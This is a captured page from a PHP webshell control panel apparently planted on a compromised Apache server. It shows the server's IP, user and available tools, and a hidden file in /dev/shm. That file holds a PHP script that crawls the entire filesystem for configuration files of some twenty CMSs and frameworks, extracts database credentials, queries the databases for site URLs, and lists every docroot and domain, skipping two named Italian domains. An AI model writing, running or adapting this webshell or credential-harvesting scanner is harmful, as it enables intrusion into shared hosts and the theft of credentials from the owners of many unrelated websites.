403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.163
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/thread-self/root/dev/shm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/dev/shm/.flag
<?php   $r = "/";  function is_valid_domain($domain) {     if (!substr_count($domain, '.')) {         return false;     } 	if (stripos($domain, 'http://') === 0) {         $domain = substr($domain, 7); 		$schema = 'http://';     } 	elseif (stripos($domain, 'https://') === 0) {         $domain = substr($domain, 8); 		$schema = 'https://';     } 	else $schema = 'http://'; 	     if (stripos($domain, 'www.') === 0) {         $domain = substr($domain, 4);     } 	if (strpos($domain, '/') !== false) { 		$split = explode('/', $domain, 2); 		$domain = $split[0]; 	}     $again = $schema . $domain;     return filter_var($again, FILTER_VALIDATE_URL); }  function emit_found($docroot, $url, $cms, $config_path) {     $d = is_valid_domain($url);     if ($d) {         print "<f>{$docroot}@@@{$d}@@@{$cms}@@@{$config_path}</f>\n";     } }  function parse_define_value($line) {     if (preg_match("/define\s*\(\s*['\"]\w+['\"]\s*,\s*['\"](.*)['\"]\s*\)\s*;/", $line, $matches)) {         return $matches[1];     }     return null; }  function scan_wp($p) {     $data = file_get_contents($p);     $pattern = "/table_prefix\s*=\s*'([^']*)';/i";     if (preg_match($pattern, $data, $matches)) {         $table_prefix = $matches[1];     } else {         $table_prefix = 'wp_';     }     $lines = array_map('rtrim', file($p));     $conf = [];     foreach ($lines as $line) {         if (preg_match('/define\s*\(\s*[\'"]\s*(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\s*[\'"]\s*,/', $line, $matches)) {             $conf[$matches[1]] = parse_define_value($line);         }     }     if (empty($conf['DB_HOST']) || empty($conf['DB_USER']) || empty($conf['DB_NAME'])) {         return;     }     $mysqli = @new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']);     if (!$mysqli->connect_errno) {         if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl'")) {             $row = $result->fetch_object();             $result->close();             $doc = dirname($p);             if (!empty($row->option_value)) {                 emit_found($doc, $row->option_value, 'wp', $p);             }         }         $mysqli->close();     } }  function scan_joomla($p) {     $c = @file_get_contents($p);     if (!$c || strpos($c, 'JConfig') === false) {         return false;     }     if (preg_match("/live_site\s*=\s*['\"]([^'\"]*)['\"]/", $c, $m) && $m[1]) {         emit_found(dirname($p), $m[1], 'joomla', $p);         return true;     }     return true; }  function scan_whmcs($p) {     $c = @file_get_contents($p);     if (!$c) {         return;     }     if (strpos($c, 'JConfig') !== false) {         return;     }     if (strpos($c, '$cc_encryption_hash') === false && strpos($c, '$license') === false) {         return;     }     if (preg_match("/\\\$systemurl\s*=\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) {         emit_found(dirname($p), $m[1], 'whmcs', $p);     } }  function scan_drupal($p) {     $c = @file_get_contents($p);     if (!$c) {         return;     }     if (preg_match("/\\\$base_url\s*=\s*['\"]([^'\"]+)['\"]/", $c, $m)) {         $doc = dirname($p);         if (strpos($p, '/sites/') !== false || strpos($p, '\\sites\\') !== false) {             $doc = dirname(dirname($doc));         }         emit_found($doc, $m[1], 'drupal', $p);     } }  function scan_opencart($p) {     $c = @file_get_contents($p);     if (!$c || strpos($c, 'DIR_APPLICATION') === false) {         return;     }     $d = null;     if (preg_match("/define\s*\(\s*['\"]HTTPS_SERVER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $c, $m)) {         $d = $m[1];     }     if (!$d && preg_match("/define\s*\(\s*['\"]HTTP_SERVER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $c, $m)) {         $d = $m[1];     }     if ($d) {         emit_found(dirname($p), $d, 'opencart', $p);     } }  function scan_moodle($p) {     $c = @file_get_contents($p);     if (!$c || strpos($c, '$CFG') === false) {         return;     }     if (preg_match("/\\\$CFG\s*->\s*wwwroot\s*=\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) {         emit_found(dirname($p), $m[1], 'moodle', $p);     } }  function scan_prestashop($p) {     $c = @file_get_contents($p);     if (!$c) {         return;     }     $host = $user = $pass = $db = null;     $prefix = 'ps_';     if (preg_match("/'database_host'\\s*=>\\s*'([^']*)'/", $c, $m)) {         $host = $m[1];     }     if (preg_match("/'database_user'\\s*=>\\s*'([^']*)'/", $c, $m)) {         $user = $m[1];     }     if (preg_match("/'database_password'\\s*=>\\s*'([^']*)'/", $c, $m)) {         $pass = $m[1];     }     if (preg_match("/'database_name'\\s*=>\\s*'([^']*)'/", $c, $m)) {         $db = $m[1];     }     if (preg_match("/'database_prefix'\\s*=>\\s*'([^']*)'/", $c, $m)) {         $prefix = $m[1];     }     if (!$host && preg_match("/define\\s*\\(\\s*'_DB_SERVER_'\\s*,\\s*'([^']*)'\\s*\\)/", $c, $m)) {         $host = $m[1];     }     if (!$user && preg_match("/define\\s*\\(\\s*'_DB_USER_'\\s*,\\s*'([^']*)'\\s*\\)/", $c, $m)) {         $user = $m[1];     }     if ($pass === null && preg_match("/define\\s*\\(\\s*'_DB_PASSWD_'\\s*,\\s*'([^']*)'\\s*\\)/", $c, $m)) {         $pass = $m[1];     }     if (!$db && preg_match("/define\\s*\\(\\s*'_DB_NAME_'\\s*,\\s*'([^']*)'\\s*\\)/", $c, $m)) {         $db = $m[1];     }     if (preg_match("/define\\s*\\(\\s*'_DB_PREFIX_'\\s*,\\s*'([^']*)'\\s*\\)/", $c, $m)) {         $prefix = $m[1];     }     $doc = dirname($p);     if (basename($doc) === 'config' || basename($doc) === 'app') {         $doc = dirname($doc);     }     if (basename($doc) === 'config') {         $doc = dirname($doc);     }     if (strpos($p, '/app/config/') !== false || strpos($p, '\\app\\config\\') !== false) {         $doc = dirname(dirname(dirname($p)));     } elseif (strpos($p, '/config/') !== false || strpos($p, '\\config\\') !== false) {         $doc = dirname(dirname($p));     }     if ($host && $user && $db) {         $mysqli = @new mysqli($host, $user, $pass, $db);         if (!$mysqli->connect_errno) {             $table = $prefix . 'shop_url';             $sql = "SELECT domain, domain_ssl, physical_uri FROM `{$table}` WHERE main = 1 LIMIT 1";             if ($res = @$mysqli->query($sql)) {                 if ($row = $res->fetch_assoc()) {                     $domain = !empty($row['domain_ssl']) ? $row['domain_ssl'] : $row['domain'];                     $uri = isset($row['physical_uri']) ? $row['physical_uri'] : '/';                     if ($domain) {                         $scheme = !empty($row['domain_ssl']) ? 'https://' : 'http://';                         emit_found($doc, $scheme . $domain . $uri, 'prestashop', $p);                     }                 }                 $res->close();             }             $mysqli->close();             return;         }     }     if (preg_match("/define\\s*\\(\\s*'_PS_BASE_URL_'\\s*,\\s*'([^']*)'\\s*\\)/", $c, $m)) {         emit_found($doc, $m[1], 'prestashop', $p);     } }  function scan_magento($p) {     $c = @file_get_contents($p);     if (!$c) {         return;     }     $doc = dirname(dirname(dirname($p))); // app/etc/env.php � root     if (preg_match_all("/'base_url'\\s*=>\\s*'(https?:\\/\\/[^']+)'/", $c, $m)) {         foreach ($m[1] as $url) {             emit_found($doc, $url, 'magento', $p);             return;         }     } }  function scan_mediawiki($p) {     $c = @file_get_contents($p);     if (!$c || strpos($c, '$wg') === false) {         return;     }     $server = null;     if (preg_match("/\\\$wgServer\\s*=\\s*['\"](https?:\\/\\/[^'\"]+)['\"]/", $c, $m)) {         $server = $m[1];     }     $script = '';     if (preg_match("/\\\$wgScriptPath\\s*=\\s*['\"]([^'\"]*)['\"]/", $c, $m)) {         $script = $m[1];     }     if ($server) {         emit_found(dirname($p), rtrim($server, '/') . $script, 'mediawiki', $p);     } }  function scan_typo3($p) {     $c = @file_get_contents($p);     if (!$c) {         return;     }     if (strpos($c, 'TYPO3') === false && strpos($c, 'typo3') === false) {         return;     }     $doc = dirname($p);     if (basename($doc) === 'typo3conf') {         $doc = dirname($doc);     }     if (preg_match("/'base'\\s*=>\\s*'(https?:\\/\\/[^']+)'/", $c, $m) ||         preg_match("/'wwwURL'\\s*=>\\s*'(https?:\\/\\/[^']+)'/", $c, $m) ||         preg_match("/['\"]baseURL['\"]\\s*=>\\s*['\"](https?:\\/\\/[^'\"]+)['\"]/", $c, $m)) {         emit_found($doc, $m[1], 'typo3', $p);     } }  function scan_modx($p) {     $c = @file_get_contents($p);     if (!$c || (strpos($c, '$database_dsn') === false && strpos($c, 'modx') === false && strpos($c, '$table_prefix') === false)) {         return;     }     if (strpos($c, 'MODX_') === false && strpos($c, '$database_dsn') === false) {         return;     }     if (preg_match("/\\\$site_url\\s*=\\s*['\"](https?:\\/\\/[^'\"]+)['\"]/", $c, $m) ||         preg_match("/\\\$modx_site_url\\s*=\\s*['\"](https?:\\/\\/[^'\"]+)['\"]/", $c, $m) ||         preg_match("/['\"]site_url['\"]\\s*=>\\s*['\"](https?:\\/\\/[^'\"]+)['\"]/", $c, $m)) {         emit_found(dirname($p), $m[1], 'modx', $p);     } }  function scan_processwire($p) {     $c = @file_get_contents($p);     if (!$c || (strpos($c, 'ProcessWire') === false && strpos($c, '$config->httpHosts') === false)) {         return;     }     if (preg_match("/\\\$config\\s*->\\s*httpHosts\\s*=\\s*array\\s*\\(\\s*['\"]([^'\"]+)['\"]/", $c, $m) ||         preg_match("/\\\$config\\s*->\\s*httpHosts\\s*=\\s*\\[\\s*['\"]([^'\"]+)['\"]/", $c, $m)) {         $host = $m[1];         $scheme = (strpos($c, "httpsForce") !== false || strpos($c, "'https'") !== false) ? 'https://' : 'http://';         $doc = dirname($p);         if (basename($doc) === 'site') {             $doc = dirname($doc);         }         emit_found($doc, $scheme . $host, 'processwire', $p);     } }  function scan_october($p) {     $c = @file_get_contents($p);     if (!$c) {         return;     }     if (strpos($c, 'activeTheme') === false && strpos($c, 'backendUri') === false) {         return;     }     if (preg_match("/['\"]url['\"]\\s*=>\\s*['\"](https?:\\/\\/[^'\"]+)['\"]/", $c, $m)) {         $doc = dirname(dirname($p));         emit_found($doc, $m[1], 'october', $p);     } }  function scan_craft($p) {     $c = @file_get_contents($p);     if (!$c) {         return;     }     if (strpos($c, 'CRAFT_') === false && strpos($c, 'PRIMARY_SITE_URL') === false) {         return;     }     $url = null;     if (preg_match("/^\s*PRIMARY_SITE_URL\s*=\s*['\"]?(https?:\\/\\/[^\\s'\"]+)/m", $c, $m)) {         $url = $m[1];     } elseif (preg_match("/^\s*CRAFT_BASE_CP_URL\s*=\s*['\"]?(https?:\\/\\/[^\\s'\"]+)/m", $c, $m)) {         $url = $m[1];     }     if ($url) {         $doc = dirname($p);         $web = $doc . '/web';         if (@is_dir($web)) {             $doc = $web;         }         emit_found($doc, $url, 'craft', $p);     } }  function scan_shopware($p) {     $c = @file_get_contents($p);     if (!$c) {         return;     }     $root = dirname($p);     $is_sw = (stripos($c, 'SHOPWARE') !== false)         || @is_dir($root . '/custom/plugins')         || @is_file($root . '/composer.json') && strpos((string)@file_get_contents($root . '/composer.json'), 'shopware/') !== false;     if (!$is_sw) {         return;     }     if (@is_file($root . '/artisan')) {         return;     }     if (preg_match("/^\s*APP_URL\s*=\s*['\"]?(https?:\\/\\/[^\\s'\"]+)/m", $c, $m)) {         $pub = $root . '/public';         emit_found(@is_dir($pub) ? $pub : $root, $m[1], 'shopware', $p);     } }  function scan_laravel($p) {     $c = @file_get_contents($p);     if (!$c) return;     if (preg_match("/^\s*APP_URL\s*=\s*['\"]?(https?:\/\/[^'\"]+)['\"]?/m", $c, $m)) {         $path_root = dirname($p);         if (!@is_file($path_root . '/artisan')) return;         $path_public = $path_root . '/public';         if (!@is_dir($path_public)) {             $path_public = $path_root;         }         emit_found($path_public, $m[1], 'laravel', $p);     } }  function scan_codeigniter3($p) {     $c = @file_get_contents($p);     if (!$c) return;     if (preg_match("/\\\$config\s*\[\s*['\"]base_url['\"]\s*\]\s*=\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) {         emit_found(dirname(dirname($p)), $m[1], 'codeigniter3', $p);     } }  function scan_codeigniter4($p) {     $c = @file_get_contents($p);     if (!$c) return;     if (preg_match("/\\\$baseURL\s*=\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) {         $path_root = dirname(dirname(dirname($p)));         $path_public = $path_root . '/public';         if (!@is_dir($path_public)) {             $path_public = $path_root;         }         emit_found($path_public, $m[1], 'codeigniter4', $p);     } }  function scan_cakephp($p) {     $c = @file_get_contents($p);     if (!$c) return;     if (preg_match("/['\"]fullBaseUrl['\"]\s*=>\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m) ||         preg_match("/['\"]fullBaseUrl['\"]\s*=>\s*env\s*\(\s*['\"][^'\"]+['\"]\s*,\s*['\"](https?:\/\/[^'\"]+)['\"]\s*\)/", $c, $m)) {         $path_root = dirname($p);         $path_webroot = $path_root . '/webroot';         if (!@is_dir($path_webroot)) {             $path_webroot = $path_root;         }         emit_found($path_webroot, $m[1], 'cakephp', $p);     } }  function scan_symfony($p) {     $c = @file_get_contents($p);     if (!$c) return;     $path_root = dirname($p);     if (@is_file($path_root . '/artisan')) return;     if (stripos($c, 'SHOPWARE') !== false || @is_dir($path_root . '/custom/plugins')) {         return;     }     if (preg_match("/^\s*APP_URL\s*=\s*['\"]?(https?:\/\/[^'\"]+)['\"]?/m", $c, $m) ||         preg_match("/^\s*PUBLIC_URL\s*=\s*['\"]?(https?:\/\/[^'\"]+)['\"]?/m", $c, $m)) {         if (!@is_file($path_root . '/bin/console')) return;         $path_public = $path_root . '/public';         if (@is_dir($path_public)) {             $path_out = $path_public;         } else {             $path_web = $path_root . '/web';             $path_out = @is_dir($path_web) ? $path_web : $path_root;         }         emit_found($path_out, $m[1], 'symfony', $p);     } }  function scan_kohana($p) {     $c = @file_get_contents($p);     if (!$c) return;     if (preg_match("/['\"]base_url['\"]\s*=>\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) {         $path_root = (strpos($p, 'application/') !== false) ? dirname(dirname($p)) : dirname($p);         emit_found($path_root, $m[1], 'kohana', $p);     } }  function scan_fuelphp($p) {     $c = @file_get_contents($p);     if (!$c) return;     if (preg_match("/['\"]base_url['\"]\s*=>\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) {         $path_fuel = dirname(dirname($p));         $path_root = dirname($path_fuel);         $path_public = $path_root . '/public';         if (!@is_dir($path_public)) {             $path_public = $path_root;         }         emit_found($path_public, $m[1], 'fuelphp', $p);     } }  function scan_bitrix($p) {     $c = @file_get_contents($p);     if (!$c || strpos($p, 'bitrix') === false) return;     if (preg_match("/['\"]value['\"]\s*=>\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) {         emit_found(dirname(dirname($p)), $m[1], 'bitrix', $p);     } }  function scan($path) {     $existed = ["puntounicodisabilita.linkabili.it","platform.linkabili.it"];     if ($dir = @opendir($path)) {         while (false !== ($file = readdir($dir))) { 			if ($path === '/' || $path === '') { 				$p = $path . $file; 			} else { 				$p = $path . '/' . $file; 			}             if ($file != '.' && $file != '..') {                 $found = false;                 foreach ($existed as $domain) {                     if (strstr($p, $domain)) {                         $found = true;                         break;                     }                 }                 if ($found) {                     continue;                 }                 if (is_link($p)) {                     continue;                 } elseif (is_dir($p)) {                     scan($p);                 } elseif ($file == 'wp-config.php') {                     scan_wp($p);                 } elseif ($file == 'configuration.php') {                     if (!scan_joomla($p)) {                         scan_whmcs($p);                     }                 } elseif ($file == 'settings.php' && (strpos($p, 'sites/') !== false || strpos($p, 'sites\\') !== false)) {                     scan_drupal($p);                 } elseif ($file == 'LocalSettings.php') {                     scan_mediawiki($p);                 } elseif ($file == 'LocalConfiguration.php' || ($file == 'settings.php' && (strpos($p, 'typo3conf') !== false || strpos($p, 'typo3') !== false))) {                     scan_typo3($p);                 } elseif ($file == 'config.inc.php' && (strpos($p, 'modx') !== false || strpos($p, 'core/config') !== false)) {                     scan_modx($p);                 } elseif (($file == 'parameters.php' || $file == 'settings.inc.php') && (strpos($p, '/config') !== false || strpos($p, '\\config') !== false || strpos($p, '/app/') !== false)) {                     $head = (string)@file_get_contents($p, false, null, 0, 4000);                     if (strpos($head, 'database_host') !== false || strpos($head, '_DB_SERVER_') !== false || strpos($head, 'prestashop') !== false || strpos($head, 'ps_') !== false) {                         scan_prestashop($p);                     }                 } elseif ($file == 'env.php' && (strpos($p, 'app/etc') !== false || strpos($p, 'app\\etc') !== false)) {                     scan_magento($p);                 } elseif ($file == 'cms.php' && strpos($p, 'config/') !== false) {                     scan_october($p);                 } elseif ($file == 'config.php' && strpos($p, '/site/') !== false) {                     scan_processwire($p);                 } elseif ($file == 'config.php') {                     $head = (string)@file_get_contents($p, false, null, 0, 8000);                     if (strpos($head, '$CFG') !== false && strpos($head, 'wwwroot') !== false) {                         scan_moodle($p);                     } elseif (strpos($head, 'DIR_APPLICATION') !== false || strpos($head, 'HTTP_SERVER') !== false) {                         scan_opencart($p);                     } elseif (strpos($p, 'application/config') !== false) {                         scan_codeigniter3($p);                     } elseif (strpos($p, 'fuel/') !== false) {                         scan_fuelphp($p);                     }                 } elseif ($file == '.settings.php' && strpos($p, 'bitrix') !== false) {                     scan_bitrix($p);                 } elseif ($file == '.env') {                     scan_laravel($p);                     scan_shopware($p);                     scan_craft($p);                     scan_symfony($p);                 } elseif ($file == 'App.php' && strpos($p, 'app/Config') !== false) {                     scan_codeigniter4($p);                 } elseif ($file == 'app.php' && strpos($p, 'config/') !== false) {                     scan_cakephp($p);                 } elseif (($file == 'bootstrap.php' || $file == 'url.php') && strpos($p, 'application/') !== false) {                     scan_kohana($p);                 }             }         }     } } scan($r); die('!ended!'); 

Youez - 2016 - github.com/yon3zu
LinuXploit